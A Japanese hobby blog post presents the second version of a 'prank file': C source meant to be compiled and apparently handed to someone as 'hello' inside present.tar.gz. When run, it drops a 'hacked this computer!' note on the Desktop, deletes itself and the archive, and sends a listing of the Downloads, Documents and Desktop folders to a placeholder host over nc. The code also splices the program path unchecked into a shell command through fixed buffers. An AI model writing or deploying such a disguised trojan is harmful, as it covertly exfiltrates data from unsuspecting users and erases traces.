読者です 読者をやめる 読者になる 読者になる

つけじょにーのすぱげていコード

主に、競技プログラミング、セキュリティのお勉強の際に書いたすぱげていコードを書き込みます

いたずらファイル 第2弾

こんどはC言語で作成して、gccコンパイルするという形式にしてみました。
前回、いたずらファイルの権限が問題になり、成功に至りませんでしたが、今度こそはいけそうな気がします。

お前は他にやることがないのか?と訊かれそうですが、これで結構楽しんでいるので自分的には満足です(笑)

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void strchg(char *buf, const char *str1, const char *str2) {
	char tmp[1024 + 1];
	char *p;

	while((p = strstr(buf, str1)) != NULL) {
		*p = '\0';
		p += strlen(str1);
		strcpy(tmp, p);
		strcat(buf, str2);
		strcat(buf, tmp);
	}
}

int main(int ac, char *av[]) {
	char before[200] = "cd Desktop; echo hacked this computer! | cat > hack.txt; cd ";
	char after[200] = " ; rm hello; rm present.tar.gz;  cd; ls Downloads Documents Desktop | nc xxx.xxx.xxx.xxx 12345;";
	strchg(av[0], "/hello", "");
	strcat(before, av[0]);
	strcat(before, after);
	system(before);
		return(0);
}